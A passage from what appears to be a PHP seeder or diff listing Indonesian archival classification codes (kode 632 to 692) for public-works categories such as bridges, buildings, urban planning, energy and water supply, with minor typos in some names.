'-', + 'enabled' => 1, + ], + [ + 'id' => 1680, + 'kode' => '632.13', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1681, + 'kode' => '632.2', + 'nama' => 'Bangunan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1682, + 'kode' => '632.21', + 'nama' => 'Jalan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1683, + 'kode' => '632.22', + 'nama' => 'Jembatan Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1684, + 'kode' => '632.23', + 'nama' => 'Kantor Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1685, + 'kode' => '632.24', + 'nama' => 'Gudang Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1686, + 'kode' => '632.25', + 'nama' => 'Barak Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1687, + 'kode' => '632.26', + 'nama' => 'Laboratorium Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1688, + 'kode' => '632.27', + 'nama' => 'Rumah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1689, + 'kode' => '632.3', + 'nama' => 'Pekerjaan Tanah (Earth Work)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1690, + 'kode' => '632.31', + 'nama' => 'Galian Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1691, + 'kode' => '632.32', + 'nama' => 'Timnunan Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1692, + 'kode' => '632.4', + 'nama' => 'Pondasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1693, + 'kode' => '632.41', + 'nama' => 'Pondasi Kepala Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1694, + 'kode' => '632.42', + 'nama' => 'Pondasi Pilar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1695, + 'kode' => '632.43', + 'nama' => 'Pondasi Angker', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1696, + 'kode' => '632.5', + 'nama' => 'Bangunan Bawah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1697, + 'kode' => '632.51', + 'nama' => 'Kepala Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1698, + 'kode' => '632.52', + 'nama' => 'Pilar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1699, + 'kode' => '632.53', + 'nama' => 'Piloon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1700, + 'kode' => '632.54', + 'nama' => 'Landasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1701, + 'kode' => '632.6', + 'nama' => 'Bangunan Atas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1702, + 'kode' => '632.61', + 'nama' => 'Gelagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1703, + 'kode' => '632.62', + 'nama' => 'Lantai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1704, + 'kode' => '632.63', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1705, + 'kode' => '632.64', + 'nama' => 'Jalan Orang / Trotoar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1706, + 'kode' => '632.65', + 'nama' => 'Sandaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1707, + 'kode' => '632.66', + 'nama' => 'Talang Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1708, + 'kode' => '632.7', + 'nama' => 'Bangunan Pengaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1709, + 'kode' => '632.71', + 'nama' => 'Turap / Penahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1710, + 'kode' => '632.72', + 'nama' => 'Bronjong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1711, + 'kode' => '632.73', + 'nama' => 'Stek Dam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1712, + 'kode' => '632.74', + 'nama' => 'Kist Dam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1713, + 'kode' => '632.75', + 'nama' => 'Corepure', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1714, + 'kode' => '632.76', + 'nama' => 'Krib', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1715, + 'kode' => '632.8', + 'nama' => 'Bangunan Pelengkap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1716, + 'kode' => '632.81', + 'nama' => 'Rambu-Rambu/Tanda-Tanda Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1717, + 'kode' => '632.82', + 'nama' => 'Lampu Penerangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1718, + 'kode' => '632.83', + 'nama' => 'Lampu Pengatur Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1719, + 'kode' => '632.84', + 'nama' => 'Patok Pengaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1720, + 'kode' => '632.85', + 'nama' => 'Patok ROW (Sempadan)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1721, + 'kode' => '632.86', + 'nama' => 'Pagar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1722, + 'kode' => '632.9', + 'nama' => 'Oprit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1723, + 'kode' => '632.91', + 'nama' => 'Badan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1724, + 'kode' => '632.92', + 'nama' => 'Perkerasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1725, + 'kode' => '632.93', + 'nama' => 'Drainage', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1726, + 'kode' => '632.94', + 'nama' => 'Baku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1727, + 'kode' => '632.95', + 'nama' => 'Median', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1728, + 'kode' => '633', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1729, + 'kode' => '634', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1730, + 'kode' => '635', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1731, + 'kode' => '640', + 'nama' => 'BANGUNAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1732, + 'kode' => '640.1', + 'nama' => 'Gedung Pengadilan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1733, + 'kode' => '640.2', + 'nama' => 'Rumah Pejabat Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1734, + 'kode' => '640.3', + 'nama' => 'Gedung DPR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1735, + 'kode' => '640.4', + 'nama' => 'Gedung Balai Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1736, + 'kode' => '640.5', + 'nama' => 'Penjara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1737, + 'kode' => '640.6', + 'nama' => 'Perkantoran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1738, + 'kode' => '642', + 'nama' => 'Bangunan Pendidikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1739, + 'kode' => '642.1', + 'nama' => 'Taman Kanak-Kanak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1740, + 'kode' => '642.2', + 'nama' => 'SD & SEKOLAH MENENGAH', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1741, + 'kode' => '642.3', + 'nama' => 'Perguruan Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1742, + 'kode' => '643', + 'nama' => 'Bangunan Rekreasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1743, + 'kode' => '643.1', + 'nama' => 'BANGUNAN OLAH RAGA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1744, + 'kode' => '643.2', + 'nama' => 'Gedung Kesenian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1745, + 'kode' => '643.3', + 'nama' => 'Gedung Pemancar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1746, + 'kode' => '644', + 'nama' => 'Bangunan Perdagangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1747, + 'kode' => '644.1', + 'nama' => 'Pusat Perbelanjaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1748, + 'kode' => '644.2', + 'nama' => 'Gedung Perdagangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1749, + 'kode' => '644.3', + 'nama' => 'Bank', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1750, + 'kode' => '644.4', + 'nama' => 'Pekantoran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1751, + 'kode' => '645', + 'nama' => 'Bangunan Pelayanan Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1752, + 'kode' => '645.1', + 'nama' => 'MCK', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1753, + 'kode' => '645.2', + 'nama' => 'Gedung Parkir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1754, + 'kode' => '645.3', + 'nama' => 'Rumah Sakit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1755, + 'kode' => '645.4', + 'nama' => 'Gedung Telkom', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1756, + 'kode' => '645.5', + 'nama' => 'Terminal Angkutan udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1757, + 'kode' => '645.6', + 'nama' => 'Terminal Angkutan udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1758, + 'kode' => '645.7', + 'nama' => 'Terminal Angkutan Darat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1759, + 'kode' => '645.8', + 'nama' => 'Bangunan Keagamaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1760, + 'kode' => '646', + 'nama' => 'Bangunan Peninggalan Sejarah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1761, + 'kode' => '646.1', + 'nama' => 'Monumen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1762, + 'kode' => '646.2', + 'nama' => 'Candi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1763, + 'kode' => '646.3', + 'nama' => 'Keraton', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1764, + 'kode' => '646.4', + 'nama' => 'Rumah Tradisional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1765, + 'kode' => '647', + 'nama' => 'Bangunan Industri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1766, + 'kode' => '648', + 'nama' => 'Bangunan Tempat Tinggal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1767, + 'kode' => '648.1', + 'nama' => 'Rumah Perkotaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1768, + 'kode' => '648.11', + 'nama' => 'Inti / Sederhana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1769, + 'kode' => '648.12', + 'nama' => 'Sedang / Mewah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1770, + 'kode' => '648.2', + 'nama' => 'Rumah Pedesaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1771, + 'kode' => '648.21', + 'nama' => 'Rumah Contoh', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1772, + 'kode' => '648.3', + 'nama' => 'Real Estate', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1773, + 'kode' => '648.4', + 'nama' => 'Bapetarum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1774, + 'kode' => '649', + 'nama' => 'Elemen Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1775, + 'kode' => '649.1', + 'nama' => 'Pondasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1776, + 'kode' => '649.11', + 'nama' => 'Di Atas Tiang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1777, + 'kode' => '649.2', + 'nama' => 'Dinding', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1778, + 'kode' => '649.21', + 'nama' => 'Penahan Beban', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1779, + 'kode' => '649.22', + 'nama' => 'Tidak Menahan Beban', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1780, + 'kode' => '649.3', + 'nama' => 'Atap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1781, + 'kode' => '649.4', + 'nama' => 'Lantai / Langit-Langit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1782, + 'kode' => '649.41', + 'nama' => 'Supended', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1783, + 'kode' => '649.42', + 'nama' => 'Solit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1784, + 'kode' => '649.5', + 'nama' => 'Pintu / Jendela', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1785, + 'kode' => '649.51', + 'nama' => 'Pintu Harmonik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1786, + 'kode' => '649.52', + 'nama' => 'Pintu Biasa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1787, + 'kode' => '649.53', + 'nama' => 'Pintu Sorong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1788, + 'kode' => '649.54', + 'nama' => 'Pintu Kayu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1789, + 'kode' => '649.55', + 'nama' => 'Jendela Sorong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1790, + 'kode' => '649.56', + 'nama' => 'Jendela Vertikal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1791, + 'kode' => '650', + 'nama' => 'TATA KOTA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1792, + 'kode' => '651', + 'nama' => 'Daerah Perdagangan / Pelabuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1793, + 'kode' => '651.1', + 'nama' => 'Daerah Pusat Perbelanjaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1794, + 'kode' => '651.2', + 'nama' => 'Daerah Perkotaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1795, + 'kode' => '652', + 'nama' => 'Daerah Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1796, + 'kode' => '653', + 'nama' => 'Daerah Perumahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1797, + 'kode' => '653.1', + 'nama' => 'Kepadatan Rendah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1798, + 'kode' => '653.2', + 'nama' => 'Kepadatan Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1799, + 'kode' => '654', + 'nama' => 'Daerah Industri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1800, + 'kode' => '654.1', + 'nama' => 'Industri Berat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1801, + 'kode' => '654.2', + 'nama' => 'Industri Ringan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1802, + 'kode' => '654.3', + 'nama' => 'Industri Ringan (Home Industry)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1803, + 'kode' => '655', + 'nama' => 'Daerah Rekreasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1804, + 'kode' => '655.1', + 'nama' => 'Public Garden', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1805, + 'kode' => '655.2', + 'nama' => 'Sport & Playing Fields', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1806, + 'kode' => '655.3', + 'nama' => 'Open Space', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1807, + 'kode' => '656', + 'nama' => 'Transportasi (Tata Letak)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1808, + 'kode' => '656.1', + 'nama' => 'Jaringan Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1809, + 'kode' => '656.11', + 'nama' => 'Penerangan Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1810, + 'kode' => '656.2', + 'nama' => 'Jaringan Kereta Api', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1811, + 'kode' => '656.3', + 'nama' => 'Jaringan Sungai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1812, + 'kode' => '657', + 'nama' => 'Assaineering', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1813, + 'kode' => '657.1', + 'nama' => 'Saluran Pengumpulan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1814, + 'kode' => '657.2', + 'nama' => 'Instalasi Pengolahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1815, + 'kode' => '657.21', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1816, + 'kode' => '657.211', + 'nama' => 'Bangunan Penyaringan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1817, + 'kode' => '657.212', + 'nama' => 'Bangunan Penghancur Kotoran / Sampah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1818, + 'kode' => '657.213', + 'nama' => 'Bangunan Pengendap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1819, + 'kode' => '657.214', + 'nama' => 'Bangunan Pengering Lumpur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1820, + 'kode' => '657.22', + 'nama' => 'Unit Densifektan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1821, + 'kode' => '657.23', + 'nama' => 'Unit Perpompaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1822, + 'kode' => '658', + 'nama' => 'Kesehatan Lingkungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1823, + 'kode' => '658.1', + 'nama' => 'Persampahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1824, + 'kode' => '658.11', + 'nama' => 'Bangunan Pengumpul', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1825, + 'kode' => '658.12', + 'nama' => 'Bangunan Pemusnahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1826, + 'kode' => '658.2', + 'nama' => 'Pengotoran Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1827, + 'kode' => '658.3', + 'nama' => 'pengotoran Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1828, + 'kode' => '658.31', + 'nama' => 'Air Buangan Industri Limbah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1829, + 'kode' => '658.4', + 'nama' => 'Kegaduhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1830, + 'kode' => '658.5', + 'nama' => 'Kebersihan Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1831, + 'kode' => '659', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1832, + 'kode' => '660', + 'nama' => 'TATA LINGKUNGAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1833, + 'kode' => '660.1', + 'nama' => 'Persampahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1834, + 'kode' => '660.2', + 'nama' => 'Kebersihan Lingkungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1835, + 'kode' => '660.3', + 'nama' => 'Pencemaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1836, + 'kode' => '660.31', + 'nama' => 'Pecemaran Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1837, + 'kode' => '660.32', + 'nama' => 'Pencemaran Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1838, + 'kode' => '661', + 'nama' => 'Daerah Hutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1839, + 'kode' => '662', + 'nama' => 'Daerah Pertanian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1840, + 'kode' => '663', + 'nama' => 'Daerah Pemikiman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1841, + 'kode' => '664', + 'nama' => 'Pusat Pertumbuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1842, + 'kode' => '665', + 'nama' => 'Transportasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1843, + 'kode' => '665.1', + 'nama' => 'Jaringan Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1844, + 'kode' => '665.2', + 'nama' => 'Jaringan Kereta Api', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1845, + 'kode' => '665.3', + 'nama' => 'Jaringan Sungai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1846, + 'kode' => '666', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1847, + 'kode' => '667', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1848, + 'kode' => '668', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1849, + 'kode' => '670', + 'nama' => 'KETENAGAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1850, + 'kode' => '671', + 'nama' => 'Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1851, + 'kode' => '671.1', + 'nama' => 'Kelistrikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1852, + 'kode' => '671.11', + 'nama' => 'Kelisrikan PLN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1853, + 'kode' => '671.12', + 'nama' => 'Kelistrikan Non PLN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1854, + 'kode' => '671.2', + 'nama' => 'Pembangkit Tenaga Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1855, + 'kode' => '671.21', + 'nama' => 'PLTA ( Pembangkit Listrik Tenaga Air )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1856, + 'kode' => '671.22', + 'nama' => 'PLTD ( Pembangkit Listrik Tenaga Diesel )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1857, + 'kode' => '671.23', + 'nama' => 'PLTG P ( Pembangkit Listrik Tenaga Gas )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1858, + 'kode' => '671.24', + 'nama' => 'PLTM ( Pembangkit Listrik Tenaga Matahari )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1859, + 'kode' => '671.25', + 'nama' => 'PLTN ( Pembangkit Listrik Tenaga Nuklir )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1860, + 'kode' => '671.26', + 'nama' => 'PLTPB ( Pembangkit Listrik Tenaga Uap )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1861, + 'kode' => '671.3', + 'nama' => 'Transmisi Tenaga Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1862, + 'kode' => '671.31', + 'nama' => 'Gardu Induk/Gardu Penghubung/Gardu Trafo', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1863, + 'kode' => '671.32', + 'nama' => 'Saluran Udara Tegangan Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1864, + 'kode' => '671.33', + 'nama' => 'Kabel Bawah Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1865, + 'kode' => '671.4', + 'nama' => 'Distribusi Tenaga Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1866, + 'kode' => '671.41', + 'nama' => 'Gardu Distribusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1867, + 'kode' => '671.42', + 'nama' => 'Tegangan Rendah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1868, + 'kode' => '671.43', + 'nama' => 'Tegangan Menengah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1869, + 'kode' => '671.44', + 'nama' => 'Jaringan Bawah Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1870, + 'kode' => '671.5', + 'nama' => 'Pengusahaan Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1871, + 'kode' => '671.51', + 'nama' => 'Sambungan Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1872, + 'kode' => '671.52', + 'nama' => 'Penjualan Tenaga Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1873, + 'kode' => '671.53', + 'nama' => 'Tarif Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1874, + 'kode' => '672', + 'nama' => 'Tenaga Air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1875, + 'kode' => '673', + 'nama' => 'Tenaga Minyak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1876, + 'kode' => '674', + 'nama' => 'Tenaga Gas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1877, + 'kode' => '675', + 'nama' => 'Tenaga Matahari', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1878, + 'kode' => '676', + 'nama' => 'Tenaga Nuklir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1879, + 'kode' => '677', + 'nama' => 'Tenaga Panas Bumi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1880, + 'kode' => '678', + 'nama' => 'Tenaga Uap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1881, + 'kode' => '679', + 'nama' => 'Tenaga Lainya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1882, + 'kode' => '680', + 'nama' => 'PERALATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1883, + 'kode' => '681', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1884, + 'kode' => '682', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1885, + 'kode' => '683', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1886, + 'kode' => '690', + 'nama' => 'AIR MINUM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1887, + 'kode' => '691', + 'nama' => 'Intake', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1888, + 'kode' => '691.1', + 'nama' => 'Broncaptering', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1889, + 'kode' => '691.2', + 'nama' => 'Sumur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1890, + 'kode' => '691.3', + 'nama' => 'Bendungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1891, + 'kode' => '691.4', + 'nama' => 'Saringan (screen)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1892, + 'kode' => '691.5', + 'nama' => 'Pintu air', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1893, + 'kode' => '691.6', + 'nama' => 'Saluran Pembawa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1894, + 'kode' => '691.7', + 'nama' => 'Alat Ukur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1895, + 'kode' => '691.8', + 'nama' => 'Perpompaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1896, + 'kode' => '692', + 'nama' => 'Transmisi Air Baku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1897, + 'kode' => '692.1', + 'nama' => 'Perpipaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1898, + 'kode' => '692.2', + 'nama' => 'Katup Udara (Air Relief)', + 'uraian' => '-', + 